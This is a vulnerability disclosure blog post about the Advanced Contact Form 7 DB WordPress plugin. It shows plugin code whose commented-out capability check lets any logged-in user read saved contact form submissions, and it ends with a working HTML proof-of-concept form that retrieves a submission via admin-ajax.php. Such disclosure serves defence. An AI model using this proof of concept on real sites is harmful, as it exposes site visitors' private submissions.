One of the ways we make sure that customers of our service have the best information on vulnerabilities in WordPress plugins they use is by checking to see if popular ones have been closed on the Plugin Directory contain security vulnerabilities, as we have seen that it looks like hackers were already doing that. Yesterday the plugin Advanced CF7 DB (Advanced Contact form 7 DB), which has 50,000+ active installations, was closed. No reason has been given for that, but there are multiple security issues in that. Some of the security issues are ones that involve security failures that are related to a vulnerability we contacted the developer about in August of last year and never got any reply. A security vulnerability that currently exists in the plugin is something that we found in August of 2017 and the developer fixed at the time, only to undo that fix later.

If that all doesn’t make the security of WordPress plugins sound bad enough, consider that in May a major web security company Sucuri somehow missed all of that and instead claimed that there was a vulnerability in the plugin that didn’t exist.

As example of the current insecurity, let’s look at the vulnerability that returned, an authenticated information disclosure vulnerability that allows anyone logged in to WordPress to view all the contact form submissions saved by the plugin.

The plugin makes the function vsz_cf7_edit_form_ajax() available through WordPress’ AJAX functionality to anyone logged in to WordPress (in the file /includes/class-advanced-cf7-db.php):

199

$this->loader->add_action('wp_ajax_vsz_cf7_edit_form_value',$plugin_admin, 'vsz_cf7_edit_form_ajax');

The function vsz_cf7_edit_form_ajax(), in the file /admin/class-advanced-cf7-db-admin.php, will return the contents of a specified contact form submission:

public function vsz_cf7_edit_form_ajax(){
	//global $cap;
	//if(!current_user_can( $cap )) return;
	global $wpdb;
	//Check entry id set or not in current request
	$rid = ((isset($_POST['rid']) && !empty($_POST['rid'])) ? intval($_POST['rid']) : '');
	//If entry not empty
	if(!empty($rid)){
		//Get entry related all fields information
		$sql = $wpdb->prepare("SELECT * FROM ".VSZ_CF7_DATA_ENTRY_TABLE_NAME." WHERE `data_id` = %d", $rid);
		$rows = $wpdb->get_results($sql);
		$return = array();
		//Set all fields name in array
		foreach ($rows as $k => $v) {
			$return[$v->name] = html_entity_decode(stripslashes($v->value));
		}
		//All fields encode in JSON format and return in AJAX request
		exit(json_encode($return));
	}
}//Close Edit Ajax request function

There is a capabilities check there to limit what users can access that function, but it has been commented out, so it doesn’t run. That appears to be due to due the developer doing something we can’t understand.

This is the code is used to specify what capability, in the form of $cap, a user needs to access the relevant admin page that function intended to be accessed from:

111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153

$cap = 'no_access';
// Check if user have access than display
 
$user_id = get_current_user_id();
$subject = new WP_User($user_id);
$allcaps= $subject->allcaps;
$caps = $subject->caps;
 
$caps    = array_merge(wp_get_current_user()->caps, $caps);
$allcaps = array_merge(wp_get_current_user()->allcaps, $allcaps);
if (wp_get_current_user()->ID == $subject->ID) {
	wp_get_current_user()->allcaps = $allcaps;
	wp_get_current_user()->caps    = $caps;
}
$user = wp_get_current_user();
 
//$role = get_role('subscriber');
//var_dump($user);exit;
if(isset($user) && !empty($user)){
	foreach($user->allcaps as $key=>$capability){
		if($capability == true){
			if(strpos($key, 'cf7_db_form_edit_') !== false){
				$cap = 'exist';
 
				break;
			}
		}
	}
}
 
if($cap == 'no_access'){
	if(isset($user) && !empty($user)){
		foreach($user->allcaps as $key=>$capability){
			if($capability == true){
				if(strpos($key, 'cf7_db_form_view') !== false){
 
					$cap = 'exist';
					break;
				}
			}
		}
	}
}

We have never seen anything like that and it seems like it was written by someone who really didn’t understand what they are doing. What looks to have happened is whatever they were attempting there didn’t work out when trying to use it in conjunction with the function vsz_cf7_edit_form_ajax(), so they commented out the capabilities check code. Someone that had a fairly basic understanding of the security of WordPress plugins should have understood that was not a good idea.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will show the first saved contact form submissions, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="vsz_cf7_edit_form_value" />
<input type="hidden" name="rid" value="1" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

Need Continued Support for a Closed Plugin?

Plugin Security Scorecard Grade for Advance Contact Form 7 DB

See issues causing the plugin to get less than A+ grade